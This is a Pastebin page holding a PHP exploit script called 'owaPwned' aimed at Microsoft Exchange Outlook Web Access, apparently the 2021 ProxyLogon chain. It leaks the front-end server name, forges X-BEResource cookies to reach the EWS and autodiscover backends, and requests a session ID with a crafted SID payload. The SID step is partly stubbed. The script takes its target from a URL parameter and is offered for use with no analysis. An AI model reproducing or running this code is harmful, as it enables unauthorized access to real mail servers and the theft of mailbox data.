Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- [+]With l0v3 by @ov3rflow1
- [+]Ref: https://twitter.com/1ZRR4H/status/1370630982521528320
- */
- error_reporting(E_ALL);
- ini_set('display_errors', '1');
- class owaPwned{
- function __construct($url="https://127.0.0.1"){
- $this->userAgent='User-Agent: ov3rflow1/5.0 (X11; Linux x86_64) PWNED/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36';
- $this->effectiveUrl=$this->getEffective($url);
- $this->domain="https://".parse_url($this->effectiveUrl, PHP_URL_HOST);
- $this->ch=curl_init();
- curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($this->ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($this->ch,CURLOPT_CONNECTTIMEOUT,1000);
- curl_setopt($this->ch, CURLOPT_BINARYTRANSFER, 1);
- curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($this->ch, CURLOPT_HEADER, TRUE);
- curl_setopt($this->ch, CURLOPT_POST, TRUE);
- }
- function run(){
- $this->setFQDN();
- if($this->fqdn!=="false"){
- $this->setCalculatedBETarget();
- $this->setLegacyDN();
- $this->setSessId();
- curl_close($this->ch);
- return array(
- "FQDN"=>$this->fqdn,
- "calculatedBETarget"=>$this->xCalculatedBETarget,
- "legacyDN"=>json_encode($this->legacyDN),
- "SessId"=>$this->SessId
- );
- }
- return false;
- }
- function getEffective($url){
- $ch = curl_init();
- curl_setopt ($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, TRUE);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_TIMEOUT_MS,1000);
- $header = curl_exec($ch);
- $redir = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
- curl_close($ch);
- return $redir;
- }
- function requestPost($dataRequest){
- $domain=$this->domain;
- $url=$domain."/ecp/".substr(sha1(uniqid()),0,3).".js";
- $payload=$dataRequest['payload'];
- $headers=$dataRequest['headers'];
- curl_setopt($this->ch, CURLOPT_HTTPHEADER,$headers);
- curl_setopt($this->ch,CURLOPT_URL,$url);
- curl_setopt($this->ch, CURLOPT_POSTFIELDS,$payload);
- $contentR = curl_exec($this->ch);
- $headerR =curl_getinfo($this->ch);
- if($headerR["http_code"]==200){
- $return=array(
- "contentR"=>$contentR,
- "headersR"=>$headerR,
- "url"=>$url
- );
- return $return;
- }
- return false;
- }
- function setFQDN(){
- $domain=$this->domain;
- $url=$domain.'/owa/auth.owa';
- $uA=$this->userAgent;
- $email=uniqid("mrrobot").'@'.uniqid("ecorp").'com';
- $password=uniqid("elliot");
- $postData="destination=$domain/owa/ecp&flags=4&forcedownlevel=0&username=$email&password=$password&passwordText=$password&isUtf8=1";
- curl_setopt($this->ch,CURLOPT_URL,$url);
- curl_setopt($this->ch, CURLOPT_POSTFIELDS,$postData);
- $headers=array(
- "Cookie: ClientId=QQINFURSFEGJYDPQIQWPZA; PrivateComputer=true; PBack=0",
- "User-Agent: $uA",
- );
- curl_setopt($this->ch, CURLOPT_HTTPHEADER,$headers);
- curl_setopt($this->ch, CURLOPT_HEADERFUNCTION,
- function($curl, $header) use (&$headers){
- $len = strlen($header);
- $header = explode(':', $header, 2);
- if (count($header) < 2) // ignore invalid headers
- return $len;
- $headers[strtolower(trim($header[0]))][] = trim($header[1]);
- return $len;
- }
- );
- $content = curl_exec($this->ch);
- $redir = curl_getinfo($this->ch, CURLINFO_EFFECTIVE_URL);
- $response=curl_getinfo($this->ch);
- if($content==""){
- $content=@@file_get_contents($url,0, stream_context_create(["http"=>["timeout"=>100]]));
- }
- $rjson=array(
- "response"=>$response,
- "content"=>$content
- );
- $XFEServer=isset($headers["x-feserver"][0])&&!(empty($headers["x-feserver"][0]))?$headers["x-feserver"][0]:"false";
- if(preg_match("/owa\/auth\/([\d\.]*)\/themes\/resources\/favicon.ico/",$content,$version)){
- $this->version=$version[1];
- $this->favicon=$this->domain."/".$version[0];
- }
- $this->fqdn=$XFEServer;
- }
- function setCalculatedBETarget(){
- $fqdn=$this->fqdn;
- $domain=$this->domain;
- $version=$this->version;
- $uA=$this->userAgent;
- $headers=array(
- "Cookie:X-BEResource=$fqdn/EWS/Exchange.asmx?a=~1942062522",
- "Content-Type: text/xml",
- "User-Agent: ".$uA
- );
- $randomEmail=uniqid("mrrobot")."@".uniqid("ecorp").'.com';
- $payload=<<<p
- <?xml version="1.0" encoding="utf-8"?>
- <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
- xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
- xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
- <soap:Body>
- <m:GetFolder>
- <m:FolderShape>
- <t:BaseShape>AllProperties</t:BaseShape>
- </m:FolderShape>
- <m:FolderIds>
- <t:DistinguishedFolderId Id="inbox">
- <t:Mailbox>
- <t:EmailAddress>$randomEmail</t:EmailAddress>
- </t:Mailbox>
- </t:DistinguishedFolderId>
- </m:FolderIds>
- </m:GetFolder>
- </soap:Body>
- </soap:Envelope>
- p;
- $payload=trim($payload);
- $resultRequest=$this->requestPost(array(
- "payload"=>$payload,
- "headers"=>$headers,
- ));
- if($resultRequest!==false){
- $contentR=$resultRequest["contentR"];
- $headersR=$resultRequest["headersR"];
- $url=$resultRequest["url"];
- if(preg_match_all("/X-CalculatedBETarget:([ a-z0-9\-\.]*)/i",$contentR,$xCalculatedBETarget))
- $this->xCalculatedBETarget=str_replace($xCalculatedBETarget[1][0].'.','',$xCalculatedBETarget[1][1]);
- else
- $this->xCalculatedBETarget="false";
- }else{
- $this->xCalculatedBETarget="false";
- }
- }
- function setLegacyDN(){
- $fqdn=$this->fqdn;
- $domain=$this->domain;
- $version=$this->version;
- $uA=$this->userAgent;
- $headers=array(
- "Cookie:X-BEResource=$fqdn/autodiscover/autodiscover.xml?a=~1942062522",
- "Content-Type: text/xml",
- "User-Agent: ".$uA
- );
- $randomEmail=uniqid("mrrobot")."@".uniqid("ecorp").'.com';
- $payload=<<<p
- <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
- <Request>
- <EMailAddress>{$randomEmail}</EMailAddress>
- <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
- </Request>
- </Autodiscover>
- p;
- $payload=trim($payload);
- $resultRequest=$this->requestPost(array(
- "payload"=>$payload,
- "headers"=>$headers,
- ));
- if($resultRequest!==false){
- $contentR=$resultRequest["contentR"];
- $headersR=$resultRequest["headersR"];
- $url=$resultRequest["url"];
- $this->legacyDN=$contentR;
- }else{
- $this->legacyDN="false";
- }
- }
- function setSID(){
- /*
- * "Cookie:X-BEResource=Admin@$fqdn:444/mapi/emsmdb?MailboxId=$mailBoxId@$calculatedBETarget&a=~1942062522;"
- * BLABLABLA
- * BLABLABLA
- */
- }
- function setSessId(){
- //$SID=$this->SID;
- $SID='OOOOOWWWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
- $fqdn=$this->fqdn;
- $domain=$this->domain;
- $version=$this->version;
- $uA=$this->userAgent;
- $headers=array(
- "Content-Type: text/xml",
- "User-Agent: ".$uA
- );
- $payload=<<<p
- <r at="Negotiate" ln="john">
- <s>$SID</s>
- <s a="7" t="1">
- S-1-1-0
- </s>
- <s a="7" t="1">
- S-1-5-2
- </s>
- <s a="7" t="1">
- S-1-5-11
- </s>
- <s a="7" t="1">
- S-1-5-15
- </s>
- <s a="3221225479" t="1">
- S-1-5-5-0-6948923
- </s>
- </r>
- p;
- $payload=trim($payload);
- $resultRequest=$this->requestPost(array(
- "payload"=>$payload,
- "headers"=>$headers,
- ));
- if($resultRequest!==false){
- $contentR=$resultRequest["contentR"];
- $headersR=$resultRequest["headersR"];
- $url=$resultRequest["url"];
- $this->SessId=$contentR;
- }else{
- $this->SessId="false";
- }
- }
- }
- $url=isset($_GET['url'])?$_GET['url']:null;
- if($url!=null){
- $owaPwned=new owaPwned($url);
- $res=$owaPwned->run();
- if($res!==false){
- foreach($res as $r=>$val){
- echo "<br/><b>$r:</b><br/>";
- echo "<br/><textarea cols=50 rows=10>$val</textarea><br/>";
- }
- }else{
- echo "Nope!";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement